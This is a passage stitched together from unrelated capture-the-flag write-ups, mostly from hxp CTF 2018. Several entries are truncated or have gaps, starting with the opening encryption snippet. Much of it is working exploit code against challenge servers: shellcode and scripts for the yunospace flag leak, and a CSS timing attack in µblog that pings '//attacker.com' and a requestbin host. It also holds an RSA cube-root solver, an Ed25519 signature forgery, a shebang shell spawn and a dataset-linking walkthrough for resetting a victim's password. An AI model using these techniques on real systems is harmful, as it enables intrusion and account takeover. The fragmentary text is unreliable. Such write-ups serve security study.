def encrypt(exp, num, key): assert key >> 512 <= 1 num = num + key msg = bin(num)[2:][::-1] C, i = 0, 1 for b in msg: C += int(b) * (exp**i + (-1)**i) i += 1 try: enc = hex(C)[2:].rstrip('L').decode('hex') except: enc = ('0' + hex(C)[2:].rstrip('L')).decode('hex') return enc```
We can see that secret `key` parameter is at most 512 bits long, so it will modify only the lowest 128 bytes of the PNG.This shouldn't be an issue - we can replace the broken PNG trailer, and the picture should be still fine.
The encryption itself is performed bit by bit, in reverse bit order.If `i-th` bit is lighted, then we add `exp**i` to the accumulator and we also add `(-1)**i`.
The second part with `-1` shouldn't be much of an issue, because assuming a nice random bits distribution in the data, we should get roughly the same number of `1` and `-1` and they should more-or-less even out in the end.
The final encrypted payload is, therefore, a polynomial `exp**i + exp**j + exp**k +.... -+C` where `C` is some small number and `i |
The question was simple but we spent some time trying to understand what they were asking. Basically you had to calculate the number of common ancestors between the two nodes.
https://github.com/diofeher/ctf-writeups/blob/master/2018-12-01-pwn2win/bavarian.py |
Writeup can be found here: [https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/canary/canary.py](https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/canary/canary.py) |
# time for h4x0rpsch0rr? (web 101)## Description```Finally a use case for those internet tingies!Connection:
http://159.69.212.240:8001/
```## InformationThis is a basic challenge about [MQTT](http://mqtt.org/).>MQTT is a machine-to-machine (M2M)/"Internet of Things" connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. >The protocol uses a publish/subscribe architecture in contrast to HTTP with its request/response paradigm. Publish/Subscribe is event-driven and enables messages to be pushed to clients. The central communication point is the MQTT broker, it is in charge of dispatching all messages between the senders and the rightful receivers. Each client that publishes a message to the broker, includes a topic into the message. The topic is the routing information for the broker. Each client that wants to receive messages subscribes to a certain topic and the broker delivers all messages with the matching topic to the client. Therefore the clients don’t have to know each other, they only communicate over the topic. This architecture enables highly scalable solutions without dependencies between the data producers and the data consumers.
taken from [hivemq.com](https://www.hivemq.com/blog/how-to-get-started-with-mqtt)
If you read the source code you can see, the challenges implements "MQTT over WebSockets":
```javascript var client = mqtt.connect('ws://' + location.hostname + ':60805') client.subscribe('hxp.io/temperature/Munich')
client.on('message', function (topic, payload) { var temp = parseFloat(payload) var result = 'NO'
/* secret formular, please no steal*/ if (-273.15 <= temp && temp < Infinity) { result = 'YES' } document.getElementById('beer').innerText = result })```It subscribes to the topic "_hxp.io/temperature/Munich_" where it gets a temperature.
If we read some more source code we can see a link to an administration platform:```htmlAdmin Access```The interface asks for a user, a password and a one-time password.We can assume that the MQTT somewhere give us an OTP to log in.Let's focus on the credentails afterwards.
### How to find all existing topics?Sadly I was not able to use my CLI client (mosquitto_sub). So I used a [webclient](http://www.hivemq.com/demos/websocket-client/).If we subscribe to "**#**" we get everything except for topics that start with a "$" (control topics).
We only get the temperature. There must be more.
## Exploit
### SYS-TopicsIn the past few years a handy feature of many MQTT brokers, the so called SYS-Topics, gained more and more popularity not only for debugging and developing MQTT systems but also for monitoring.Many MQTT brokers, including HiveMQ, implement SYS-Topics. These topics are special meta topics which are used by the broker to publish information about the broker itself and its MQTT client sessions. All SYS-Topics start with $SYS and are read-only for MQTT clients.https://github.com/mqtt/mqtt.github.io/wiki/SYS-Topics
Let's try to subscribe to **$SYS/#**
We can see an interesting topic: **$internal/admin/webcam**If we subscribe to this topic we do not get content back or do we?Let's fire up burp to see what's going on regarding websockets.
We get back an image. Let's copy the original HTML and alter the JavaScript part:
```javascript var client = mqtt.connect('ws://159.69.212.240:60805') client.subscribe('$internal/admin/webcam')
client.on('message', function (topic, payload) { base64Data = btoa(String.fromCharCode.apply(null, payload)); document.getElementById("image").src = "data:image/jpg;base64," + base64Data; })```
Now we just need to log in and catch the flag:
 |
You're given a picture of a Lego Mindstorms EV3 display block with the flag partially displayed on it. You're also given a macOS PacketLogger file.
If you open the PacketLogger file, you'll find a capture of packets as they were being sent back and forth to the device. You can export that to a format that's easier to write a parser for via File -> Export -> Payload as Text...
Once you do that, you can use the [EV3 developer kit documentation](https://education.lego.com/en-us/support/mindstorms-ev3/developer-kits) to find the specifications for the protocol used. To get the flag, you only need to parse outgoing packets, and you only really need to pay attention to one thing: the `TEXT` command of the `opUI_DRAW` instruction.
We can write a crude Go parser like so:
```gopackage main
import ( "bufio" "encoding/binary" "encoding/hex" "fmt" "os" "sort" "strings")
func parseParameter(b *[]byte) interface{} { switch (*b)[0] & 0xc0 { case 0: // short constant var ret int if (*b)[0]&0x20 == 0 { // positive ret = int((*b)[0] & 0x1f) } else { // negative ret = -int((*b)[0] & 0x1f) } *b = (*b)[1:] return ret case 0x80: // long constant if (*b)[0]&0xf0 == 0x80 { // value switch (*b)[0] & 0x07 { case 0, 4: // null-terminated s := "" *b = (*b)[1:] for (*b)[0] != 0 { s += string(rune((*b)[0])) *b = (*b)[1:] } *b = (*b)[1:] return s case 1: // 1 byte ret := (*b)[1] *b = (*b)[2:] return int(ret) case 2: // 2 bytes ret := binary.LittleEndian.Uint16((*b)[1:]) *b = (*b)[3:] return int(ret) case 3: // 4 bytes ret := binary.LittleEndian.Uint32((*b)[1:]) *b = (*b)[5:] return int(ret) } } } return nil}
func main() { f, err := os.Open("Extracted Data/RFCOMM-Oct 18 16_06_54.995.txt") if err != nil { panic(err) } defer f.Close()
type Text struct { X int Y int S string } var texts []Text
scanner := bufio.NewScanner(f) for scanner.Scan() { line := scanner.Text() if !strings.HasPrefix(line, "0B EF") { continue } line = strings.Replace(line[9:], " ", "", -1) b, err := hex.DecodeString(line) if err != nil { panic(err) } byteCodes := b[7:] byteCodes = byteCodes[:len(byteCodes)-2]
for len(byteCodes) > 0 { switch byteCodes[0] { case 0x80: // FLUSH byteCodes = byteCodes[1:] case 0x84: // DRAW switch byteCodes[1] { case 0x00: // UPDATE byteCodes = byteCodes[2:] case 0x05: // TEXT byteCodes = byteCodes[2:] parseParameter(&byteCodes) x := parseParameter(&byteCodes).(int) y := parseParameter(&byteCodes).(int) s := parseParameter(&byteCodes).(string) texts = append(texts, Text{x, y, s}) case 0x12: // TOPLINE byteCodes = byteCodes[3:] case 0x13: // FILLWINDOW byteCodes = byteCodes[4:] default: panic(fmt.Errorf("unexpected byte code: %x", byteCodes[1])) } default: panic(fmt.Errorf("unexpected byte code: %x", byteCodes[0])) } } }
if err := scanner.Err(); err != nil { panic(err) }
sort.Slice(texts, func(i, j int) bool { if texts[i].Y < texts[j].Y { return true } if texts[i].Y == texts[j].Y { return texts[i].X < texts[j].X } return false })
y := 0 for _, t := range texts { if t.Y != y { fmt.Printf("\n") y = t.Y } fmt.Printf("%s", t.S) } fmt.Printf("\n")}```
The result:
```hitcon{m1nd5t0rm_communication_and_firmware_developer_kit}``` |
[writeup](https://github.com/Srinivas11789/SecurityNuggets/tree/master/captureTheFlag/Miscellaneous/squareCtf2018/deAnonymization)
**Steps*** Start from the name we have Yakubovics and boil down to get the firstname, ssn, street address, state* From all possible sets obtained from the above filter, use these in reset password form* Get or change the password
**Details:*** Start with the given name we have Yakubovics* Check the dataset1 --> We obtain email with the last name* Check the dataset2 --> Use the email and last name obtained from dataset1 to obtain the STATE* Check the dataset3 --> With the State, obtain the ssn and street address* Check the dataset4 --> Get income and postal code with the state obtained* Check the dataset5 --> From the email we know the first character of name is e, use this to filter first name in the fifth dataset* As we progress delete the non matched sets |
With sourcery levels, source was provided. Looking at the source I could recognize that the constraints on last part of the input only depended on the four starting chars. Those 4 chars were also unbounded so had many combinations of satisfying input. Just by changing source from the lab I wrote a solver that would generate correct string by taking first 4 chars as input. Source [here](https://gist.github.com/sudhackar/cde1a434b355b2b03394b9d3d9c36568)
```sh$ nasm -f elf lab2_solve.asm$ ld -m elf_i386 -o lab2_solve lab2_solve.o$ ./lab2_solve FLAGebJjgPLrEsBp$ ./lab2_solveflagebPpeRKjIiJh$ ./lab2_solvememecdKpeREdDtMo
``` |
TL;DR
1. MQTT over websockets.1. Subscribe to $SYS/#.1. Hidden topic in one of the sys payloads: "$internal/admin/webcam".1. Subscribe to hidden topic, dump payload to file. 1. Image contain login details to admin page.
Full writeup: https://github.com/flawwan/CTF-Writeups/blob/master/hxp/time_for_h4x0rpsch0rr.md |
After viewing the source code at http://116.203.23.35:35473/interview it show a function named submitAnswer. The source for that can be found at view-source:http://116.203.23.35:35473/public_html/script.js It shows that it only really checks for 4 things to disqualify an answer:1. Response has a question mark in it.2. Less than 1000 character response3. Jibberish4. Answer posted in less than 30 sec.
If none of those critera are met, it then goes on to check if the response has it's own property. If it does, it counts it as a valid response, and you move on to the next question.With this in mind, if the question was "Now, please proceed. Keep in mind that we are looking for someone likely to like historical movies." I would copy the section: "to like historical movies" and tack it on to a whole bunch of "This is a test. " till the character count was 1000 and hit submit. My response would look something like: "like historical movies. This is a test. This is a test. This is..."Just keep posting responses in this fashion untill the counter reaches 0 and you'll get the flag! |
tl;dr reverse a functional language program, which reads input (which is the flag), encodes it, and compares with hardcode values.
[Write-up](https://thekidofarcrania.gitlab.io/2018/12/09/hxpctf/#wreckme2) |
Shebangs ftw! We started by trying `#!/bin/ls`, which listed the file. Then, we tried `#!/bin/sh`, which (obviously) did nothing. Then we read the manpage on `sh`, and found out that `sh -s` reads commands from stdin. Therefore, the final answer was `#!/bin/sh -s`, which then spawns a shell. We just simply ran `cat flag`. |
# Daring
**Challenge Points**:
**Challenge Description**: We encrypted our flag, but we lost the keys. Can you help?
This was a simple yet a very tricky challenge made by `yyyyyyy` aimed at testing your basics. In this challenge you are given a small script:
```python#!/usr/bin/env python3import osfrom Crypto.Cipher import AESfrom Crypto.Hash import SHA256from Crypto.Util import Counterfrom Crypto.PublicKey import RSA
flag = open('flag.txt', 'rb').read().strip()
key = RSA.generate(1024, e=3)open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n')open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big'))
key = SHA256.new(key.exportKey('DER')).digest()open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))```
If you analyse the script carefully, you will notice that the same flag is encrypted in two independent ways:1. The flag is padded with `\x00` (null byte) to make the plaintext of size 128 bytes and then encrypted using the public key where `e = 3`2. SHA256 of the private key of used for encryption using RSA is calculated, the result of which is then used as a symmetric key to encrypt the `unpadded` flag using AES in CTR mode.
Some observations:1. We all know that `e = 3` is vulnerable to root attacks, but here in our challenge, since the flag is padded with null bytes to make it of size 128 bytes, the root attack won't work since `pt`^3 > `n` (`pt` is the padded plaintext and `n` is the RSA modulus) and hence will wrap around while calculating the ciphertext.2. When some plaintext is encrypted in CTR mode, remember that the ciphertext size is exactly of the same size as plaintext, since CTR mode is similar to a stream cipher.
Based on the above observations, we will try to move ahead:1. Size of ciphertext of AES encrypted flag is 43 bytes. This implies that the original size of the flag is 43 bytes.2. From (1), we can say that: + plaintext = flag + '\x00'\*(128-43) = flag + '\x00'\*85 + ciphertext  + ciphertext 
To get **flag<sup>3</sup> % n**, we can compute: 
and get the value of `x` = flag<sup>3</sup> % n
Probably **flag<sup>3</sup> > n**, since flag is of 43 bytes. But we can write:1. x = flag<sup>3</sup> % n2. flag<sup>3</sup> = x + k*n
So, now if we add multiples of `n` to `x` and check if the resultant value is a perfect cube, we can get the flag by taking the cube root. This part of the challenge is similar to Iowe challenge from CSAW CTF Qualifiers 2018: https://ctftime.org/task/6668
I wrote the following script to solve the challenge: ```python#!/usr/bin/env python3import osfrom Crypto.Cipher import AESfrom Crypto.Hash import SHA256from Crypto.Util import Counterfrom Crypto.Util.number import *from Crypto.PublicKey import RSAimport gmpy2
pubkey = RSA.importKey(open("pubkey.txt").read())e = pubkey.en = pubkey.nrsa_enc = int.from_bytes(open("rsa.enc","rb").read(), 'big')
assert GCD(2, n) == 1# 680 * 3 = 2040inv = pow(inverse(2, n), 2040, n)aes_enc = open("aes.enc","rb").read()
# From here we get the size of the actual flagassert len(aes_enc) == 43print(int.from_bytes(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".ljust(128,b'\0'), 'big') == int.from_bytes(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 'big') << 680)
rsa_enc = rsa_enc*inv % nfor i in range(1000): ans = gmpy2.iroot(rsa_enc + i*n, 3)[1] if ans == True: print("Gotit", i) pt = int(gmpy2.iroot(rsa_enc + i*n, 3)[0]) print(pt.to_bytes(43, 'big')) break```Exploit script here: [exploit.py](exploit.py) |
# hxp CTF 2018: µblog
**Category:** Web**Points:** 412**Solves:** 4
> Check out our newest (super hardened) µblogging platform :>\> Please report any bugs to the admin (in the challenge)!>> Download: [µblog-b342cb10f1395bee.tar.xz](https://2018.ctf.link/assets/files/%C2%B5blog-b342cb10f1395bee.tar.xz)\> Connection: http://195.201.125.245:7777/
## Write-up ### Baby steps
Upon entering the challenge's website we were presented with what appeared to be a simple blog with four main functionalities.1. A place to change the blog's settings (name and logo).2. A way to publish your own post, which can contain a text and also a logo.3. A list of all your posts.4. A place to report bugs to the admin.
The first thing we tried was to report our website to see whether the admin accessed it, and of course they didn't.
From reading the source code (that was given in the description) we got that it was only possible to send blogs (using the id parameter) to the admin, which eliminated several attack vectors.```phpif (isset($_POST['report']) && !empty($_POST['c']) && hash_equals($_SESSION['c'], $_POST['c']) && preg_match('/^http:\/\/127.0.0.1\/\?id=[0-9a-f]{8}-[0-9a-f]{4}-[4][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}/', $_POST['report'])){ include 'backend.php'; send_to_admin($_POST['report']); exit();}```
After quickly analyzing the server's source code (and not finding any vulnerabilities) we decided to move on and analyze the application's HTML.
At the end of the page there was the following javascript, which immediately caught our attention:```javascriptif (!$('#news-container').html()) $.each($('body').data('posts'),function(i,d) { $('#news-container').html($('#news-container').html()+$('#template').html() ) $('#news-container .post:last .text ').text(d.text) $('#news-container .post:last .icon').attr("src",d.icon) $('#news-container .post:last .icon').attr("src",d.icon) $('#news-container .post:last .link').attr("href",d.url) $('#news-container .post:last').attr("id","post-"+d.id) }) $(location.hash).addClass('highlight')```
On October of this year, [@ArthurSaftnes](https://twitter.com/ArthurSaftnes) released an impressive article ([A timing attack with CSS selectors and Javascript](https://blog.sheddow.xyz/css-timing-attack/)) talking about how it is possible to extract secrets from HTMLif user-controled input is executed inside $() by creatively abusing CSS selectors to create a delay which would allow an attacker to perform a timing attack.
We now had the foundation for an attack (the use of $(location.hash) to steal the admin's blog id), but we faced our first obstacle.
In his attack, the victim needs to access the attacker's website, and as far as we knew, there was no way to make the admin access a page other than an user's blog.
So we moved on again, to search for the other pieces of the puzzle.
### Ping-pong
After our first finding, we started to test the website's endpoints, and while we weren't able to execute any javascript (inputs were being properly sanitized), we discovered that it was possible to set "//attacker.com" as the logo and then the image would end up being loaded from our website (both the settings and the post endpoints were vulnerable).
So we set our logo to "//requestbin.net/r/w6oc2hw6" and reported our blog to the admin and we finally got a hit:
We now had the confirmation that the admin was accessing our blog and also the version of Google Chrome they were using (so again we ruled out a few more attacks).
This discovery was really interesting, but surely couldn't be used as a way to time the delay caused by the selectors because the images would already have been loaded after reaching $(location.hash), right? ... right?
### Reading between the lines
At this point, it seemed like we had hit a dead end. How were we supposed to detect the delay that would be caused in case we had a match?
After a thorough analyzis of the code, we found our answer. Let's check it line by line:
```javascript1. <script>2. $('#logo').attr('src', $('body').data('logo'))3. $('#name').text($('body').data('name'))4. </script>5. <div id="template" hidden>6. <div class="post">7. <div>8. 9. </div>10. <div>11. 12. </div>13. <div>14. Link15. </div>16. </div>17. <hr>18. <div>19. <script>20. if (!$('#news-container').html())21. $.each($('body').data('posts'),function(i,d) {22. $('#news-container').html($('#news-container').html()+$('#template').html() )23. $('#news-container .post:last .text ').text(d.text)24. $('#news-container .post:last .icon').attr("src",d.icon)25. $('#news-container .post:last .icon').attr("src",d.icon)26. $('#news-container .post:last .link').attr("href",d.url)27. $('#news-container .post:last').attr("id","post-"+d.id)28. })29. $(location.hash).addClass('highlight')30. </script>```
When someone enters a blog, lines 2 and 3 will set the blog's name and logo. So far so good, nothing out of ordinary.
Then, line 20 will check if the ```news-container``` div is empty, which is the case, and because of that jump to line 21.
Line 21 will iterate thought the blog's posts, and lines 22 to 27 will be responsible for inserting each post's information inside the ```news-container``` div.
Finally, after all the posts have been inserted into the page, we get to line 29, which tries to add the highlight class to a div (the id of the div is retrieved from location.hash).
Wait a moment... line 20 doesn't use curly braces, so line 29 isn't part of the if condition. This means that even if the ```news-container``` div isn't empty, line 29 will be triggered. That's interesting...
Let's take a look at line 22 again. The html inside the ```news-container``` div is being inserted into itself plus the html of the ```template``` div. What is the content of the ```template``` div?
The ```template``` div starts at line 5 and ends at line 18.
Oh...
There is a bug in line 18. Instead of closing the div, it is actually opening a new one. So the ```template``` div goes from line 5 to line 30, including the script tag containing the javascript code.
This means that when line 22 is executed, the next javascript code executed won't be the one from line 23, but instead, it will be the one from line 20.
And now, given the ```news-container``` div is not empty anymore, lines 21 to 28 will be skipped and line 29 will be executed (because of the lack of curly braces). After that, the script that was running before resumes from line 23 and only then the posts' information are inserted into the div (including the post's logo).
### Attack plan
With all this information it's possible to devise an attack plan:
1. We set "//attacker.com/firstping" as our blog logo.2. We create a post with the logo "//attacker.com/secondping".3. We create a selector that will hang for a few seconds if the n char of body["data-user-id"] matches (selector must not have any spaces because of url encoding).4. We report our blog to the admin, with the hash we created in step 3 added to it.4. In our server, we calculate the time it takes between the request to /firstping and /secondping.
The full URL sent to the admin will look something like this:
```http://127.0.0.1/?id=a6142ba5-e88b-4a77-8ec9-94aa45a57855#xxx,*:has(*:has(*:has(*:has(*:has(*:has(*)))))):has(body[data-user-id^='1'])```
If there is no match, the difference between /firstping and /secondping will be something like 20ms. If there is a match, the difference will be about 2000ms.
What is left is automating this process and then leak the full flag.
## Flag
```hxp{PHP_xHTML_CSS_JS_CSP_WTF_Security_._.}```
## Contact
If you have any questions feel free to contact me on [@lbherrera_](https://twitter.com/lbherrera_) |
The ASIS 2018 Finals had some awesome challenges. One of them is the Android reversing and web challenge Gunshop. It was a lot of fun to use ARTist, an Android instrumentation framework, to leak the AES key, intercept https traffic and bypass custom certificate pinning.
[Here](https://saarsec.rocks/2018/11/27/Gunshop.html), you can find the complete writeup for Gunshop 1 and 2 . |
# yunospace
When you connect to the service, the python wrapper reads a number number from you and passes the n-th char of the flag to the yunospace binary:
```python#!/usr/bin/python3 -u
import sys, os, base64
FLAG = "hxp{find_the_flag_on_the_server_here}"
print(" y-u-no-sp ")print("XXXXXXXXx.a ")print("OOOOOOOOO| ")print("OOOOOOOOO| c ")print("OOOOOOOOO| ")print("OOOOOOOOO| ")print("OOOOOOOOO| e ")print("~~~~~~~|\~~~~~~~\o/~~~~~~~")print(" }=:___'> \n")
print("> Welcome. Which byte should we prepare for you today?")
try: n = int(sys.stdin.readline())except: print("> I did not get what you mean, sorry.") sys.exit(-1)
if n >= len(FLAG): print("> That's beyond my capabilities. Goodbye.") sys.exit(-1)
print("> Ok. Now your shellcode, please.")
os.execve("./yunospace", ["./yunospace", FLAG[n]], dict())```
The yunospace binary was small and simple: All it did was reading 9 bytes from stdin, writing the passed char behind the 9 read bytes, setting all registers to 0, and jumping there.
Since 9 bytes are (as far as we know) not enough to spawn a shell or to execute a write syscall with the appropriate parameters, we decided to use a side channel attack: Depending on the passed char our bytecode has to terminate (and a segfault is a termination), or loop forever. A quick test shows us that if the program segfaults the socket is closed after <2s, and if it loops the socket is closed after >2s.
An infinite loop depending on a flag takes up two bytes:```74 fe je 7 <loop> ```So we have 7 bytes remaining to set a flag depending on the 10th byte and the operation. `test` seems like the best idea (`test` performs a binary `AND` on two operands, and upates `ZF`), because we can identify the byte with 8 requests: By testing the unknown byte with 1 << x (for x in {0, .., 7}) we get a set zero flag if and only if the x-th bit of the byte is set to zero! :tada:
So the exploit is quite simple. Send these bytes, and observe whether the bits of X are set:```0: f6 05 02 00 00 00 X test BYTE PTR [rip+0x2], X # 9 <loop+0x2>0000000000000007 <loop>:7: 74 fe je 7 <loop> ```
After experiencing problems with pwntools and closed sockets, I had enough and wrote our exploit in c#:```c#using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Net;using System.Net.Sockets;using System.Text;using System.Threading.Tasks;
namespace yunospace{ class Program { static void Main(string[] args) { Console.WriteLine("Hello World!"); for (int i=0;i<100;i++) { char c = GetChar(i); Console.Write($"{c}"); Console.Out.Flush(); if (c == '}') { break; } } Console.WriteLine("\ndone."); Console.ReadKey(); }
static char GetChar(int count) { var tasks = new List<Task<long>>(); for (int i = 0; i < 8; i++) { var x = i; tasks.Add(Task.Run(async () => { return await Test(x, count); })); } byte b = 0; Task.WhenAll(tasks).Wait(); for (int i = 0; i < tasks.Count; i++) { if (tasks[i].Result < 2000) b |= (byte)(0x1 << i); } return (char)b; }
static async Task<long> Test(int one, int count) { Stopwatch stopWatch = new Stopwatch(); try { byte[] buf = new byte[4048]; TcpClient client = new TcpClient("195.201.127.119", 8664); using (StreamReader sr = new StreamReader(client.GetStream())) { await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr);
client.GetStream().Write(Encoding.ASCII.GetBytes($"{count}\n")); await ReadOrThrow(sr);
stopWatch.Start(); byte b = 0x01; b <<= one; client.GetStream().Write(new byte[] { 0xF6, 0x05, 0x02, 0x00, 0x00, 0x00, b, 0x74, 0xFE }); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); await ReadOrThrow(sr); } } catch (Exception e) { } stopWatch.Stop(); return stopWatch.ElapsedMilliseconds; }
static async Task ReadOrThrow(StreamReader sr) { var line = await sr.ReadLineAsync(); if (line == null) throw new IOException(); } }}```And indeed this exploit correctly yielded the flag `hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng}` |
> How does free code execution sound to you? If only the whole thing wasn’t that narrow.
`yunospace` was a very interseting challenge, it had a very clear target but was very tricky to achieve.
At first `yunospace` creates two empty mmaped regions at randomized adresses, these are used as code (rx) and stack region (rw).
9 bytes are read from `stdin` and put into beginning of the code region. One character of the flag we can choose is put right after our input.Then all registers besides `rsp` which points into the middle of the stack region are zeroed and we jump to our code.
So clearly we have to write 9 bytes of machine code with a working empty stack to print the flag character.
Some hours spent experimenting and browsing [Intel Assembly Manual](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf), this is what we came up with:
```pythonfrom pwn import *""" 000000: 0f 05 syscall 000002: 01 ca add edx,ecx 000004: 51 push rcx 000005: 5e pop rsi 000006: ac lods al,BYTE PTR ds:[rsi] 000008: 0f 05 syscall"""
flag = ""for i in range(58): c = remote("195.201.127.119", 8664) c.recvuntil(b"today?\n").decode() c.sendline(str(i).encode()) c.recvuntil(b"please.\n").decode() c.sendline(b"\x0f\x05\x01\xca\x51\x5e\xac\x0f\x05") out = c.recv(10) flag += chr(out[6]) print(flag)```
## So what is happening here?
```00: 0f 05 syscall```
Since all registers are `0` this effectively does a `read(0, NULL, 0)`, so the syscall tries to read 0 bytes from stdin into a NULL pointer. Conveniently this does not crash, but has the very important sideeffect of loading the address after the syscall into `rcx`. A rip-relative `lea` would need 7 bytes, a `call` `pop` combo would use 6 bytes. This version combined with the next only uses 4!
```02: 01 ca add edx,ecx```
This adds `ecx` to `edx`, which specifies the length of the `write` syscall. We just need `edx` to be >6 to print the flag character after our code so any big positive value works for us, we do not care about a page fault after we have received our output. Most importantly this instruction has opcode `01` which will be used later.
```04: 51 push rcx05: 5e pop rsi```
This moves the 64bit-address from `rcx` to `rsi` wich specifies the buffer to print for `write`. It only needs 2 bytes because `push` and `pop` are two of the few instructions that do not need REX-Prefix for 64bit.
```06: ac lods al,BYTE PTR ds:[rsi]```
`lodsb` loads the value at the address pointed to by `rsi` into `al` and then increments `rsi`. So `al = [rsi]; rsi++`. Since `rsi` points to our `add edx,ecx` instruction which has opcode `01` this sets `rax` to 1, the syscall number for `write`! This was the last bit of magic we had to find to save that crucial last byte!
```08: 0f 05 syscall```
`write(0, <address of add + 1>, (32bit-truncated) <address of add>)`. This writes to `stdin` (not `stdout`!) since `rdi` is zero. But we still get the output on our terminal! (Thank you linux!). This behaviour means we do not have to set `rdi` to 1 for printing to `stdout` which saves us 2 bytes.
The program subsequently crashes but we already have what we want so we don't care.
Flag is `hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng}` |
Based on the pictures and the provided pcap we are dealing with a USB communication between a client application and Game Boy Advance. There are screen captures of the device screen somehow encoded in the pcap, and supposedly the flag is in those images.
Pcap analysis in Wireshark shows a number of USB packet types, but the ones that realistically contain the data that we need are likely the URB_INTERRUPT packets:
According to Game Boy Advance [Wikipedia page](https://en.wikipedia.org/wiki/Game_Boy_Advance) the screen resolution is ```240x160```, which is ```38400``` pixels, so the amount of data for the single image should be sizeable. Different packet sets in the capture are marked by different "tags" in the data sections - ```43425720```, ```4342571c```, and ```4342571d```; the former looks like the one marking the large data volumes that we need. The client application requests different memory area dumps - ```4``` through ```7```, and the one tagged with ```6``` looks like it contains the data that we are looking for:
There are several groups of ```384``` blocks of type ```6``` (each group likely encoding one image), which with ```256``` data bytes in each block gives us ```98304``` bytes. Game Boy encodes some of the images with 2 bytes per pixel, which corresponds to ```48k``` pixels - close enough to ```38k``` that we need (because it's a memory dump it does not have to be an exact amount).
We can now extract the right data portions and build images. Because the Python library that we are going to use for analysis does not work with .pcapng files let's first convert the file to .pcap format in Wireshark. Once that is done we can use the following script:
```pythonimport binasciiimport dpktfrom PIL import Image, ImageDraw
# parse pcap filepcap = dpkt.pcap.Reader(open('paintings.pcap', 'rb'))
data = []print "walking pcap"for ts, buf in pcap: # only keep URB_INTERRUPT packets (0x01) of specific size, discard the rest if ord(buf[9]) != 1 or len(buf) != 72: continue data.append(buf[0x40:])
print "done reading pcap"
in_image = Falseimage_no = 0img_data = ''while len(data) > 0: rectype = binascii.hexlify(data.pop(0)) # discard this packet and another one if rectype == '4342572000000000': data.pop(0) continue # discard this packet and another three if rectype == '4342571c00000000': data.pop(0) data.pop(0) data.pop(0) continue if rectype == '4342571d00000000': data.pop(0) # discard type = data.pop(0) # get data block type data.pop(0) # discard s = '' for x in range(32): data.pop(0) # discard s += binascii.hexlify(data.pop(0)) # this is the type that we need if ord(type[3]) == 6: if in_image: # collect data img_data += s else: in_image = True print "image start" img_data = s else: if in_image: # done with image data in_image = False i_data = binascii.unhexlify(img_data) img = Image.new('RGB', (240, 160)) pixels = img.load() # put image data into the pixels for i1 in range(7): for j in range(160): for i2 in range(32): pos = i1*32*160 + j*32 + i2 # take 16-bit value p = ord(i_data[pos*2]) * 0x100 + ord(i_data[pos*2+1]) # decode 16-bit value into RGB (https://stackoverflow.com/a/38557870) pixels[i1*32+i2,j] = ((p & 0xF800) >> 11,(p & 0x07E0) >> 5,p & 0x001F) img.save('%d.png' % (image_no)) print "image end" image_no += 1 continue ```
Once the images were decoded they looked rather cryptic, and it took a long while to try different combinations of decoding order - line first, column first, chunks of 16 pixels column-wise, etc... In the end encoding data in chunks of 32 pixels column by column brought up an interesting artifact in image ```3```:
These look like letters ```H``` and ```X```! Analyzing other images revealed the rest:
Success! The flag is ```hxp{ashesforash}```.
|
# UFF (crypto, 100+25p, 12 solved)
In the challenge we get [source code](vuln.c) of the application running on the server.
The application lets us sign messages via Ed25519.The code is quite simple:
- It shows us 10 different ECC public keys- We can then 1000 times sign a unique message of our choosing using selected key- We select the key by providing the whole key, not by choosing some index- After that we are supposed to provide a signature for a message different from all messages signed via server in this session
The signature and verification code itself is correct, and there are strict checks on the input lengths.
The vulnerability comes from 2 places:
```cunsigned find(unsigned char const *pk){ unsigned idx; for (idx = 0; idx < K; ++idx) if (!strncmp(pk, keys[idx].pk, 32)) break; return idx;}```
The issue here is `strncmp`.Public keys are binary random data, so there is a high chance of nullbytes.Comparing with `strncmp` stops at nullbyte so we can actually fool this function for such keys.We can send any data after the `00` byte in the key and the function would still `find` the key.
Second piece of the puzzle is here:
```cprintf("public key> "); fflush(stdout);if (sizeof(pk) != read_hex(pk, sizeof(pk)) || K == (idx = find(pk))) break;//print_hex(m, sign(m, n, keys[idx].sk, pk));```
So the signature is generated using the key we provided, not the `real` key from the array.
This means we can generate a signature with `invalid` public key, and it brings to mind `fault injection` class of attack.
Let's see how exactly the signature is done:
```pythondef signature(m, sk, pk): h = H(sk) a = 2 ** (b - 2) + sum(2 ** i * bit(h, i) for i in range(3, b - 2)) r = Hint(''.join([h[i] for i in range(b / 8, b / 4)]) + m) R = scalarmult(B, r) S = (r + Hint(encodepoint(R) + pk + m) * a) % l return encodepoint(R) + encodeint(S)```
This means that if we know `m` and `pk` then the only missing part is `a`.This is because the value of `r` can by any random value, not necessarily generated as here.This is only certain security precaution, but makes no difference for us.And the only other parameter of the signature derived from `sk` is `a`.
If we can recover `a` we can forge a signature simply by:
```pythondef forge_signature(m, pk, a): from ed import encodepoint, Hint, scalarmult, encodeint, B, l r = 42 # why not? ;) R = scalarmult(B, r) S = (r + Hint(encodepoint(R) + pk + m) * a) % l return encodepoint(R) + encodeint(S)```
If we create a signatures with two different public keys and the same private key for the same message then:
```S1 = (r + h1 * a) mod LS2 = (r + h2 * a) mod LS1 - S2 = a(h1-h2) mod La = (S1 - S2) * modinv(h1 - h2, L)```
We can then easily recover `a` and forge a new signature:
